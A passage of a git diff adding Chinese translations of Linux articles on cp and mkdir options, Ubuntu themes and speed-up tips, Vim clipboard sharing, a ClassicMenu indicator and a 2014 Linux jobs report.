/home/pungki/office/ + +![Interactive mode](http://linoxide.com/wp-content/uploads/2014/01/cp_i.png) + + +#### 12. 创建备份文件 #### + + +当目标目录已经含有同名文件,默认情况下 cp 命令会覆盖目标目录下的同名文件。使用 **--backup** 选项,cp 命令会为每一个现有的目标文件做一个备份。../office 相对于 /home/pungki/office 。下面是示例: + + $ cp --backup=simple -v *.txt ../office + +![Backup option](http://linoxide.com/wp-content/uploads/2014/01/cp_backup.png) + + +正如我们看到的,**--backup=simple** 选项会创建一个在文件名末尾用波浪符标记(~)的备份文件。**--backup** 选项也有一些其他控制: + +- **none, off**:从不备份(即使给出 --backup) +- **numbered, t**:用编号备份 +- **existing, nil** :如果编号备份存在则使用编号备份,否者用简易备份[译注:也就是用波浪号] +- **simple, never** :总是使用简易备份 + + +#### 13. 只拷贝文件属性 #### + + +cp 命令也提供给我们 **--attributes-only** 选项。顾名思义,这个选项只会拷贝文件名及其属性,不会拷贝任何数据。下面是示例: + + $ cp --attributes-only file_6.txt -v ../office + +![Copy attributes only](http://linoxide.com/wp-content/uploads/2014/01/cp_attributes_only.png) + + +从上图看出, **原文件 file_6.txt 有 50 字节**大小。用了 **--attributes-only**选项,**拷贝的文件只有0字节**大小。这是因为文件内容并没有拷贝。 + + +### 14. 强制拷贝 ##### + + +用了 **-f** 选项会强制进行拷贝操作。如果目标文件不能打开,可以用 **-f** 尝试一下。 + + $ cp -f *.txt -v ../office + +![Copy with force](http://linoxide.com/wp-content/uploads/2014/01/cp_f.png) + + +#### 15. 在拷贝之前先删除目标 #### + + +我们可以用,**--remove-destination 选项** 实现。这个选项与上面的**-f选项形成对照**。如果 cp 命令在目标目录下发现同名文件, cp 命令会先删除目标文件,然后再拷贝一份新的。下面是示例: + + $ cp --remove-destination *.txt -v ../office + +![Remove destination option](http://linoxide.com/wp-content/uploads/2014/01/cp_remove_destination.png) + + +### 总结 ### + + +cp 命令是 Linux 下最基础的命令之一。对于那些想要学习 Linux 的人,必须得把这个命令掌握。当然你也可以在你的终端下键入 **man cp** 或者 **cp --help** 来显示更多帮助信息。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-cp-command/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201403/2014 Linux Jobs Report--Demand for Linux Expertise Drives Hiring Priorities.md b/published/201403/2014 Linux Jobs Report--Demand for Linux Expertise Drives Hiring Priorities.md new file mode 100644 index 0000000000..3103fba814 --- /dev/null +++ b/published/201403/2014 Linux Jobs Report--Demand for Linux Expertise Drives Hiring Priorities.md @@ -0,0 +1,52 @@ +2014年度Linux职场报告:对Linux专家的需求持续旺盛 +================================================================================ +*Linux人才正在越来越多地占领人事经理的优先列表!* + +2014年2月19日,通过对人事经理们和Linux专家的调查,2014年度职场报告正式发布,纽约和旧金山的人事经理们正跃跃欲试,计划在Linux求职市场中网罗招募更多的Linux技术人才。旺盛的需求使得Linux行业的薪资已经超过行业平均水平,并且多数Linux专家都认为Linux技术正帮助它们的职业生涯走的更长远。 + +![](https://www.linuxfoundation.org/sites/main/files/infogfx_jobs_report_2014.png) + +最新发布的[2014年度Linux职场报告][1]数据来自1100名人事经理和4000名Linux专家,从商业化职场需求,到个人的主观努力,再到吸引大多数Linux专家的工作动机,报告对Linux的职业前景进行了深入的分析观察。 + +Dice董事长Shravan Goli说:“企业越来越意识到Linux正在成为商业发展的核心部分。相对的,人事经理们也正在越来越多地把offer发给拥有Linux技术的专业人才。而这些专家正在从事的项目正是企业想要洞察的未来。” + +这是Dice公司和Linux基金会联合推出的第三个年度Linux职场报告。Dice是一家业内领先的专为技术和工程专家寻找工作的网站;而Linux基金会则是一个非盈利性组织,对Linux的发展和协作开发提供支持。最终发布的年度报告希望可以帮助行业人士了解Linux职业发展趋势的源头所在,同时帮助公司找到最佳途径来招聘或留住关键的Linux人才。 + +Linux基金会执行董事Jim Zemlin说道:“尽管对Linux人才的需求持续增长,但是市场对于经验丰富的Linux专家来说仍然有较大的人才缺口。对此,今年Linux职场报告有明确描述。同时,今年的报告表明,对于开发者和系统管理员来说,有无限的机会可以发挥自身价值或是寻求学习机会。对于Linux专家来说,未来无比光明!” + +报告中的一些关键统计: + +- **越来越多的人事经理计划开始招收Linux人才。**77%的人事经理已经把“招聘Linux人才”列入了2014年的优先清单,去年这个比例为70%。其中9%到10%的人事经理计划半年内就要招到一位Linux专家。 +- **人事经理所要招收的Linux专家数量也在不断增加。**过去6个月来,46%的人事经理扩充了他们关于Linux专家的招聘计划,这与去年2013年相比增加了3个百分点。 +- **展望Linux的工作前景。**86%的Linux专家表明,Linux给了他们更多的工作机会,64%的人说他们选择Linux工作正是因为Linux在行业基础中无处不在的广泛性。 + +2014年度Linux职场报告还包括:“为何现在的雇主都在寻求Linux人才”、“最能吸引Linux专家们的是什么”等等其他重要的发现,[点击这里下载完整的报告][2]。 + +### 2014年度Linux职场报告统计数字 ### + +2013年11月到12月间,Dice公司和Linux基金会同时对人事经理和Linux专家关于Linux工作中的倾向和需求进行了调查。接受调查的人事经理来自大企业、中小型公司、政府组织及相关部门,受调查总人数超过1100人,所属单位58%来自北美,21%来自欧洲,7%来自亚洲,4%来自南美,而非洲、墨西哥、中美洲和日本各占2%,中东占1%,还有不到1%来自澳大利亚、新西兰。受调查对象要求去年至少招聘了一名Linux专家,或者计划在2014年有这样的招聘计划才能接受调查,问卷调查采用多选。另外,超过4000名Linux专家接受了调查,其中34%的人表示它们作为Linux专家已经工作了10年甚至更久。 + +### 关于Dice ### + +技术成就企业,而技术来源于人才。Dice能迅速为技术专家和雇主提供机会、规划与联系。了解更多,访问[www.dice.com][3]。 + +### 关于Linux基金会 ### + +Linux基金会是一个非营利性组织,意在推动Linux的成长和协调软件开发。成立于2000年,组织由Linux发明人Linus Torvalds发起,主要促进、保护、发展Linux操作系统,并通过分配基金会成员与开源社区资源来协调Linux软件开发。Linux基金会为合作与教育提供中立论坛,通过举办合作项目,包括LinuxCon在内的Linux会议,发起原创性研究,推动Linux标准和软件协作开发的发展。了解更多,点击[www.linuxfoundation.org][4]。 + +### + +注册商标:The Linux Foundation, Linux Standard Base, MeeGo, OpenDaylight, Tizen和Yocto Project都属于Linux基金会的注册商标。OpenBEL是OpenBEL集团的注册商标。Linux是Linus Torvalds的注册商标。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxfoundation.org/news-media/announcements/2014/02/2014-linux-jobs-report-demand-linux-expertise-drives-hiring + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://www.linuxfoundation.org/publications/linux-foundation/linux-adoption-trends-end-user-report-2014 +[2]:http://techhub.dice.com/2014-DHX_linuxJobReport_LP.html +[3]:http://www.dice.com/ +[4]:http://www.linuxfoundation.org/ diff --git a/published/201403/5 Best Themes For Ubuntu 13.10.md b/published/201403/5 Best Themes For Ubuntu 13.10.md new file mode 100644 index 0000000000..79be680653 --- /dev/null +++ b/published/201403/5 Best Themes For Ubuntu 13.10.md @@ -0,0 +1,79 @@ +Ubuntu 13.10 系统的5个最棒主题 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/02/Best_Themes_Ubuntu.jpeg) + +对 Ubuntu 默认的 Ambiance 主题不太满意?何不试试其它的主题,用换主题的方式来改变你的桌面外观?如果你不知道哪些主题对你有用的话,我已经列出了 **Ubuntu 13.10 最好的主题**。在我们看这些主题前,用简单的句子说明下该怎么样使用这些主题。 + +### 在 Ubuntu 13.10 中安装主题 ### + +在 Ubuntu 中要使用主题有两种方式,既可以添加 PPA 来下载也可以直接下载主题文件。如果你是直接下载的文件,要把它解压到 **~/.themes** 或者 **/user/share/themes** 目录中。如果你是通过添加 PPA 来下载的,并不需要做什么特殊的操作。 + +下一步就是正式使用已经安装的主题。你可以使用 Unity Tweak 工具软件来切换到已经安装的主题。请参考这篇文章[如何在 Ubuntu 13.10 上安装主题][1]上的截图教程. + +### Ubuntu 13.10 最好的 Unity 主题: ### + +大多数主题都是由主题本身和图标集组成的。我的建议是主题本身及图标集都要从同一个主题集中安装,以使它们更漂亮。事不宜迟,让我们看些 Ubuntu13.10 中最好的主题: + +### Numix ### + +![](http://itsfoss.com/wp-content/uploads/2014/02/Numix_theme_Ubuntu.jpeg) + +[Numix][2] 确实是一款漂亮的主题。它有着扁平和弧形图标,并且完美的集成进 Unity 桌面环境中。在终端下可以使用下面的命令来安装 Numix 主题和图表集: + + sudo add-apt-repository ppa:numix/ppa + sudo apt-get update + sudo apt-get install numix-gtk-theme numix-icon-theme numix-icon-theme-circle numix-wallpaper-saucy + +### Moka ### + +![](http://itsfoss.com/wp-content/uploads/2014/02/Moka_Theme_Ubuntu.jpeg) + +漂亮,不是吗?使用如下命令来安装 Moka GTK 主题和图标集: + + sudo add-apt-repository ppa:snwh/moka-gtk-theme-daily + sudo add-apt-repository ppa:snwh/moka-icon-theme-daily + sudo apt-get update + sudo apt-get install moka-gtk-theme moka-icon-theme moka-icon-theme-symbolic moka-icon-theme-extras + +### zonColor ### + +![](http://itsfoss.com/wp-content/uploads/2014/02/zoncolor_theme_Ubuntu.jpeg) + +[zonColor][3] 是从亮到暗及颜色相异的几个主题组成的一个包。它也由自己的图标集。使用如下的命令来安装 zonColor 主题和图标集。 + + sudo add-apt-repository ppa:noobslab/themes + sudo add-apt-repository ppa:noobslab/icons + sudo apt-get update + sudo apt-get install zoncolor-themes zoncolor-icons + +### Nokto ### + +![](http://itsfoss.com/wp-content/uploads/2014/02/Nokto_Theme_ubuntu.jpeg) + +Nokto 没有自己的图标集,但它是一个很漂亮的黑色主题。要安装 Natko, 可以使用如下的命令: + + sudo add-apt-repository ppa:noobslab/themes + sudo apt-get update + sudo apt-get install nokto-theme + +### Flattastic ### + +![](http://itsfoss.com/wp-content/uploads/2014/02/Flattastic_theme.jpeg) + +很像 Nokto, Flattastic 也没有自己的图标集,但你可以使用任何的平面图标,它们会与主题融合的很好。虽然它不能以 PPA 的方式来安装,但是你可以从[这儿][4]下载到文件然后来安装。一旦下载完成,把 zip 压缩文件解压到 /usr/share/themes 目录下,然后你就可以使用 Unity Tweak 工具来选择使用这个主题。 + +这就是 Ubuntu 13.10 下5个最棒主题。你也许会想看看类似的文章,这列出了[ Ubuntu 下5个最棒的图标集][5].您觉得这些主题怎么样?除了这些提到的,您有一个您最钟爱的吗?请更我们分享。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/best-themes-ubuntu-1310/ + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ +[2]:http://satya164.deviantart.com/art/Numix-GTK3-theme-360223962 +[3]:https://code.google.com/p/zoncolor/ +[4]:http://nale12.deviantart.com/art/Flattastic-13-01-2014-424913255 +[5]:http://itsfoss.com/best-icon-themes-ubuntu-1310/ \ No newline at end of file diff --git a/published/201403/9 Killer Tips To Speed Up Ubuntu 13.10.md b/published/201403/9 Killer Tips To Speed Up Ubuntu 13.10.md new file mode 100644 index 0000000000..64e2c866ac --- /dev/null +++ b/published/201403/9 Killer Tips To Speed Up Ubuntu 13.10.md @@ -0,0 +1,135 @@ +九大绝招让你在老机器上加速运行 Ubuntu Linux +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/01/Speed_Up_Ubuntu_1310.jpg) + +不管你的Ubuntu 13.10系统是重新安装的或是从以前旧版本升级的,在使用了一段时间后,你应该会感觉到系统开始变慢。在这篇文章中,我们将了解到一些**让你的Ubuntu运行得更快的技巧**。 + +在我们动手提高Ubuntu 13.10的整体系统性能之前,先思考下为什么系统会随着时间变慢。这里可能有很多原因,比如,你可能有一台简单设置了一下的低配电脑,你可能安装了很多在开机时吃掉系统资源的应用程序。实际上有各种理由。 + +在这里列出了一些小技巧,能帮你提高一点Ubuntu的速度。还有一些很好的技巧,可以用来提高系统性能,让系统运行更流畅。你可以选择尝试所有技巧或者其中的一部分,他们每一个都可以让你的Ubuntu更流畅,更敏捷,更迅速。 + +### 让Ubuntu 13.10运行更快的技巧: ### + +我已经在我的Ubuntu 13.10上应用过这些技巧,但是我相信它们同样可以应用在旧版本的Ubuntu系统上,或者其他基于Ubuntu的Linux发行版,比如:Linux Mint,Elementary OS Luna等等。 + +### 减少grub默认的引导等待时间:### + +grub默认会给你10秒钟时间来选择要引导的系统或是进入恢复模式,这对于我来说太长了。这意味着你得呆在电脑边上按下确认键来立刻引导Ubuntu。是不是觉得有点浪费时间?第一个小技巧就是改变引导等待时间。如果你更喜欢GUI工具,可以阅读这篇文章[通过Grub Customizer调整grub等待时间和引导顺序][1]。 + +对其他人来说,只需要通过下面的简单命令来打开grub配置文件: + + sudo gedit /etc/default/grub & + +把**GRUB_TIMEOUT=10**改为**GRUB_TIMEOUT=2**,这样就可以把引导等待时间改成2秒。最好不要改成0,因为这样你就不能选择其他操作系统或者恢复模式了。在修改完成后,用下面的命令使改动生效: + + sudo update-grub + +### 管理开机启动应用程序: ### + +慢慢的你开始安装各种应用程序。如果你是It’s FOSS的读者,你可能安装了许多[本周最佳应用程序][2]系列里推荐的应用。这里面很多应用都会开机启动,程序运行肯定会要消耗系统资源,结果就是:一台每次开机都要很长时间的缓慢启动。打开Unity Dash,然后找到**启动应用**: + +![](http://itsfoss.com/wp-content/uploads/2014/01/Startup_Applications_Ubuntu.jpeg) + +在里面,检查一下那些开机启动的程序,考虑一下哪些是你觉得没有必要每次开机都启动的程序,然后尽情地移除吧。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Startup_applications_ubuntu_1310.jpeg) + +万一你不想从开机启动列表里移除程序呢?比如说,你安装了[Ubuntu 13.10里最好的提示插件][3]里推荐的程序,你希望它们可以在每次开机时都自动启动。这种情况可以这样处理,为应用程序的启动设定一个等待时间。这样,你可以缓解一点启动时的资源占用,而你的应用程序仍然会自动启动,不是是在一段时间后。在前一张图中,点击Edit,然后在运行的命令中加入一个等待。例如,如果你想延迟20秒再启动Dropbox提示,只需要在当前的命令前面**增加一条命令**: + + sleep 20; + +这样,命令‘**dropbox start -i**‘变成了‘**sleep 20; dropbox start -i**‘。这就意味着Dropbox的启动会有20秒延迟。你可以像这样为其他开机启动的应用程序设置一个等待时间。 + +![](http://itsfoss.com/wp-content/uploads/2014/01/Edit_startup_applications_Ubuntu.jpeg) + +### 安装preload来加速应用程序加载时间: ### + +Preload是个后台程序,会分析用户的行为和常用的程序。打开终端,用下面的命令安装preload: + + sudo apt-get install preload + +安装完后重启电脑,然后就可以把它忘了,它会在后台运行。[[更多关于preload的信息][4]] + +### 选择最快的软件升级镜像服务器: ### + +最好检查一下自己用来升级软件的镜像服务器是最快的。Ubuntu软件仓库在全球各地都有镜像服务器,建议选择一个离自己最近的。这样可以减少从服务器下载升级包的时间,所以软件升级会更快。 + +在**软件与更新->Ubuntu 软件->下载地址**里选择**其它**,然后点击**使用最快的服务器**: + +![](http://itsfoss.com/wp-content/uploads/2014/01/Ubuntu_software_Center_Mirror.jpeg) + +系统会自动测试并告诉你哪个镜像服务器是最快的。通常来说,系统默认会选择最快的镜像服务器,但是,检查一下总是没有坏处。不过,如果保存升级包的距离最近的镜像服务器并没有经常保持同步的话,获取更新的时候可能会有点延时。对于网络连接速度比较慢的人来说,这个方法很有用。你可以在文章[加速Ubuntu的WIFI速度][5]里更深入地了解这些提示 + +### 用apt-fast代替apt-get来加速更新: ### + +apt-fast是用来代替“apt-get”的的一个shell脚本程序,它通过多线程的方式改善了更新和下载安装包的速度。如果你经常用终端和apt-get来安装和升级软件的话,可以试试apt-fast。用下面的命令通过官方PPA安装apt-fast: + + sudo add-apt-repository ppa:apt-fast/stable + sudo apt-get update + sudo apt-get install apt-fast + +### 从apt-get更新中移除语言相关的可忽略的包: ### + +你有没有注意过sudo apt-get update的输出?里面有三类标志,**hit**,**ign**和**get**。你可以在[这里][6]了解它们的含义。检查一下包含IGN的行,你会发现它们大多数都是语言翻译相关的。如果你所有的程序和安装包都是英文的,那完全没有必要检查从英文到英文的安装包数据库。 + +如果你跳过apt-get的语言相关的更新,能够轻微地提高apt-get update的速度。想这样做的话,在终端里输入下面的命令: + + sudo gedit /etc/apt/apt.conf.d/00aptitude + +然后在文件末尾加入下面这行: + + Acquire::Languages "none"; + +![](http://itsfoss.com/wp-content/uploads/2014/01/ign_language-apt_get_update.jpeg) + +### 减少系统过热: ### + +如今,过热是计算机的一个普遍问题,一台过热的电脑运行得非常缓慢。如果你的CPU风扇跑得像尤塞恩.博尔特一样快的话,可能会需要超长的时间来打开一个程序。在Ubuntu 13.10中有两个工具可以帮助减少系统过热来实现更好的系统性能,TLP和CPUFREQ。 + +通过下面的终端命令来安装使用TLP: + + sudo add-apt-repository ppa:linrunner/tlp + sudo apt-get update + sudo apt-get install tlp tlp-rdw + sudo tlp start + +在安装完TLP后不需要做其他额外的事情,它会在后台运行。用下面的命令安装CPUFREQ提示工具: + + sudo apt-get install indicator-cpufreq + +然后重启电脑,然后选择CPUFREQ的**Powersave**模式: + +![](http://itsfoss.com/wp-content/uploads/2013/11/CPUFREQ-indicator.jpeg) + +### 调整LibreOffice让它运行更快: ### + +如果你经常使用办公软件,那你应该会想调整一下默认的LibreOffice,让它运行得更快些。这里会调整一下内存选项。打开LibreOffice,然后选择**工具->选项**,然后在左边栏里选择**内存**,并激活**系统加速器**来增加内存占用。 + +![](http://itsfoss.com/wp-content/uploads/2013/08/LibreOffice_Memory_option_1.jpeg) + +你可以看一下[如何加速LibreOffice][7]了解更多的细节。 + +### 使用软件的轻量替代: ### + +这个更像是推荐和喜好。有些系统默认或流行的软件都需要占用大量系统资源,这并不适合一般的低配置电脑。这种情况下,你可以选择使用这些软件的一些替代程序。比如,用[AppGrid][8]来替代Ubuntu Software Center;用[Gdebi][9]来安装软件;用AbiWord来代替LibreOffice Writer等等。 + +这些就是我搜集的**让Ubuntu 13.10运行更快**的技巧。我相信这些小技巧可以整体提升系统性能表现。你是否也有一些隐藏的技巧来**加速Ubuntu 13.10**?这些小技巧对你是不是有帮助?请和大家分享你的看法,随时欢迎提出任何问题或建议,不要吝啬留下你的评论。 + + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/speed-up-ubuntu-1310/ + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/windows-default-os-dual-boot-ubuntu-1304-easy/ +[2]:http://itsfoss.com/tag/app-of-the-week/ +[3]:http://itsfoss.com/7-best-indicator-applets-for-ubuntu-13-10/ +[4]:http://itsfoss.com/improve-application-startup-speed-with-preload-in-ubuntu/ +[5]:http://itsfoss.com/speed-up-slow-wifi-connection-ubuntu/ +[6]:http://ubuntuforums.org/showthread.php?t=231300 +[7]:http://itsfoss.com/speed-libre-office-simple-trick/ +[8]:http://itsfoss.com/app-grid-lighter-alternative-ubuntu-software-center/ +[9]:http://itsfoss.com/install-deb-files-easily-and-quickly-in-ubuntu-12-10-quick-tip/ diff --git a/published/201403/Accessing Clipboard Contents Across Multiple Instances of Vim from Terminal.md b/published/201403/Accessing Clipboard Contents Across Multiple Instances of Vim from Terminal.md new file mode 100644 index 0000000000..b8cdde3aac --- /dev/null +++ b/published/201403/Accessing Clipboard Contents Across Multiple Instances of Vim from Terminal.md @@ -0,0 +1,103 @@ +跨越终端中多个vim实例访问剪切板内容 +================================================================================ +**Vim (Vi IMproved)**是一款在程序员之间非常受欢迎的文本编辑器。它在执行不同的快捷命令操作上有它自己的特长。 + +![从Vim访问剪切板](http://www.tecmint.com/wp-content/uploads/2014/02/vim-clipboard-content.jpeg) + +比如,要拷贝高亮的文本,我们使用‘**y**’命令,并用‘x’来剪切。但是,**vim**(不是**gVim**)剪切板的内容默认情况下是不能被其他的vim实例访问的。 + +Vim版本信息中使用‘**+**’表示启用了系统剪切板。你可以运行‘**vim ­­–version**’,如果你看不到像“**+xterm_clipboard**”而是显示“­**xterm_clipboard**“,那么会使用内部剪切板,其将不能被其它的**vim**实例访问。 + +### 安装gvim和parcellite ### + +为了访问vim剪切板的内容,你需要安装**gvim**包。**gVim**是vim编辑器的GUI模式,它的剪切板选项默认启用。 + + # yum install -y gvim + +然后,使用[RPMForge 仓库][1]安装**parcellite** 包。Parcellite是一款轻量级,小巧而免费的Linux剪切板管理工具。 + + # yum install -y parcellite + +一旦安装后,运行下面的命令。这里的参数‘**&**’是使parcellite以后台进程运行。 + + # parcellite & + +检查选项已经在gvim中启用。 + + # gvim --version + +确保“**+xterm_clipboard**”选项显示在下面的输出中。 + + VIM - Vi IMproved 7.2 (2008 Aug 9, compiled Apr 5 2012 10:12:08) + Included patches: 1-411 + Modified by + Compiled by + Huge version with GTK2 GUI. Features included (+) or not (-): + +arabic +autocmd +balloon_eval +browse ++builtin_terms +byte_offset +cindent + +clientserver +clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments + +cryptv +cscope +cursorshape +dialog_con_gui +diff +digraphs +dnd -ebcdic + +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path + +float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand + +jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap + +menu +mksession +modify_fname +mouse +mouseshape +mouse_dec +mouse_gpm + -mouse_jsbterm +mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte + +multi_lang -mzscheme +netbeans_intg -osfiletype +path_extra +perl +postscript + +printer +profile +python +quickfix +reltime +rightleft -ruby +scrollbind + +signs +smartindent -sniff +startuptime +statusline -sun_workshop +syntax + +tag_binary +tag_old_static -tag_any_white -tcl +terminfo +termresponse + +textobjects +title +toolbar +user_commands +vertsplit +virtualedit +visual + +visualextra +viminfo +vreplace +wildignore +wildmenu +windows +writebackup + +X11 -xfontset +xim +xsmp_interact +xterm_clipboard -xterm_save + +打开用户的.bashrc文件。 + + # vim ~/.bashrc + +加入别名并保存文件(按下‘**i**’来插入行并按下**ESC**,接着运行**:wq**来保存并退出)。 + + # .bashrc + + # User specific aliases and functions + + alias rm='rm -i' + alias cp='cp -i' + alias mv='mv -i' + alias vim='gvim -v' + # Source global definitions + if [ -f /etc/bashrc ]; then + . /etc/bashrc + fi + +这个alias是内置的用于将一些命令绕到其他命令上。这样每次当vim命令运行时,相应的别名会启动默认带剪切板的gVim。 + +现在,用类似的方式编辑你的‘**.vimrc**’文件(以防你没有 **.vimrc**文件,生成这样一个文件然后再回来)。 + + # vim ~/.vimrc + +追加下面这行并保存文件。 + + autocmd VimLeave * call system("echo -n $'" . escape(getreg(), "'") . "' | xsel -ib") + +现在在vim中打开任何文件并高亮部分文本(使用'v'命令)并按下'y'。尝试在vim外面的任何地方粘帖(关不关vim都行),你就发现vim里面复制的内容被粘帖出来了。 + +### 附:生成 .vimrc 文件 ### + +运行下面的命令来生成**.vimrc**文件(如果你已做了就跳过这部分)。 + + # cd [返回到你的主目录] + # vim .vimrc + +在vim中在按下ESC键后运行下面的命令(在vim中,每个命令是在按下ESC键后也就是带你进入命令模式后运行的)。 + + :r $VIMRUNTIME/vimrc_example.vim + :w + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/accessing-clipboard-contents-across-multiple-instances-of-vim-from-terminal/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/install-and-enable-rpmforge-repository-in-rhel-centos-6-5-4/ diff --git a/published/201403/ClassicMenu Indicator Rekindles Old GNOME 2 Feeling in Ubuntu 14.04 LTS.md b/published/201403/ClassicMenu Indicator Rekindles Old GNOME 2 Feeling in Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..36016e7c3a --- /dev/null +++ b/published/201403/ClassicMenu Indicator Rekindles Old GNOME 2 Feeling in Ubuntu 14.04 LTS.md @@ -0,0 +1,42 @@ +Ubuntu 14.04中的经典菜单插件重燃GNOME 2旧情 +================================================================================ +**有很多用户对Unity桌面并不满意,他们认为GNOME 2菜单的解决方案才是正确的道路。经典菜单插件提供了一个可能让所有人满意的妥协** + +![](http://i1-news.softpedia-static.com/images/news2/ClassicMenu-Indicator-Rekindles-Old-GNOME-2-Feeling-in-Ubuntu-14-04-LTS-431399-2.jpg) + +Unity可能是排在首位的被用户反对Ubuntu的功能,即使用户量正在不断增加,而且更多的用户开始用它,仍然有不少用户偏好GNOME 2中的菜单显示。 + +这也是“MATE”桌面环境为什么产生以及其他桌面环境尝试重建GNOME 2方法的原因。现在,如果你能至少对替代左上角的左上角菜单按钮的样子有所妥协,你可能会享受经典菜单插件带来的愉悦之感。 + +好消息是,经典菜单插件的开发者也为即将到来的Ubuntu 14.04(Trusty Tahr)制作了一个小应用。如果你恰好正在用Ubuntu 14.04的development build,这个插件将会在你的系统中完美运行。 + +你有两种方法来安装经典菜单插件,一是运行提供的deb文件,二是使用提供的PPA。我们建议你使用第二种添加PPA的做法,因为通过添加PPA,用户可以摆脱手动安装,及时收到此应用的将来的更新。打开终端输入以下命令(需要有root权限): + + sudo add-apt-repository ppa:diesch/testing + sudo apt-get update + sudo apt-get install classicmenu-indicator + +当安装成功后(应该用不了多久),你可以从Dash中运行这个插件。幸运的是,此插件会自动将自己纳入开机启动的列表,因此你不需要手动添加它。 + +前几天此插件有一个更新,不过并没有什么高大上的新功能,而且很多只是对界面的修改。比如对经典菜单的子目录中的文字显示的修复,还通过更改配置增加了一些菜单项目。 + +最新版本的经典菜单插件也实现了一个有意思的变化,就是通过使用Xfce解决了一些没有Unity的发行版(例如Xubuntu)的老问题。 + +你也可以在官方网站上获取更多关于此[更新][1]的细节. + +###下载经典菜单插件0.09:### + +- [classicmenu-indicator_0.09_all.deb][2][ubuntu_deb] [21.80 KB] +- [classicmenu-indicator-0.09.tar.gz][3][sources] [54.40 KB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/ClassicMenu-Indicator-Rekindles-Old-GNOME-2-Feeling-in-Ubuntu-14-04-LTS-431399.shtml + +译者:[ThomazL](https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.florian-diesch.de/software/classicmenu-indicator/changes.html +[2]:http://www.florian-diesch.de/software/classicmenu-indicator/dist/classicmenu-indicator_0.09_all.deb +[3]:http://www.florian-diesch.de/software/classicmenu-indicator/dist/classicmenu-indicator-0.09.tar.gz diff --git a/published/201403/Create Directory - subdirectory, other than that What mkdir command do in Linux.md b/published/201403/Create Directory - subdirectory, other than that What mkdir command do in Linux.md new file mode 100644 index 0000000000..5bedc3f8ae --- /dev/null +++ b/published/201403/Create Directory - subdirectory, other than that What mkdir command do in Linux.md @@ -0,0 +1,73 @@ +在 Linux 下用 mkdir 命令来创建目录和子目录 +============================================================================== +了解了用 ls 命令在目录中列出条目后,现在我们要学习在 Linux 系统下创建目录。在 Linux 下,我们可以使用 **mkdir** 命令。Mkdir 是“make directory” 的缩写词。 + +### mkdir 是什么呢 ### + +Mkdir 是一个用来在 Linux 系统下创建目录的命令。此命令属于内建命令。 + +### 运行 mkdir 命令### + +你可以在你的控制台直接键入 **mkdir** 来使用它。 + + $ mkdir + +默认情况下,不带任何参数运行 mkdir 命令会在当前目录下创建目录。下面是参考示例: + +![mkdir command](http://linoxide.com/wp-content/uploads/2014/01/mkdir.png) + +从上图看出,我们创建了名为 **office** 的目录。当我们运行 mkdir 命令时,我们位于 **/home/pungki** 目录。所以这个新目录 office **创建在/home/pungki**目录下。**如果我们使用绝对路径** - 例如:**/usr/local** - , 则 Linux 会在 **/usr/local**目录下创建一个目录。 + +当 Linux 发现想要创建的目录已经存在, 那么 Linux 会提示我们 Linux 无法创建它。 + +![mkdir directory exist](http://linoxide.com/wp-content/uploads/2014/01/mkdir_error.png) + +另外一个创建目录的首要条件是, **在想要创建目录的目标路径下你必须具有访问权限**。当你无法取得权限时 mkdir 会报告这个错误。 + +![mkdir permission denied](http://linoxide.com/wp-content/uploads/2014/01/mkdir_permission_denied.png) + +### 创建多个目录 ### + +我们也可以同时创建多个目录。比如我们要创建的目录有 **ubuntu, redhat 和 slackware**。那么语法会像这样子: + + $ mkdir ubuntu redhat slackware + +![create multiple directories](http://linoxide.com/wp-content/uploads/2014/01/mkdir_multiple.png) + +### 添加包含子目录的目录 [译注:递归地创建目录] ### + +当你要创建的目录包含子目录时,你需要使用 -p 参数。如果 mkdir 找不到父目录,那么这个参数会首先帮助创建父目录。比如说我们要创建名为 **letter** 的目录,在它的目录下包含有子目录 **important**。那么语法会像这样子: + + $ mkdir -p letter/important + +![mkdir sub-directory](http://linoxide.com/wp-content/uploads/2014/01/mkdir_p.png) + +### 设置访问权限 ### + +使用 **-m** 参数,我们可以给即将生成的新目录设置权限。示例如下: + + $ mkdir -m=r-- letter + +上面的命令会创建一个名为 letter 的目录,同时为**目录所有者、用户组和其他用户**针对该目录赋予**只读权限** + +![mkdir set privilege](http://linoxide.com/wp-content/uploads/2014/01/mkdir_m.png) + +### 打印创建目录的过程信息 ### + +如果我们要查看信息,我们可以使用 **-v** 参数来实现。示例如下: + + 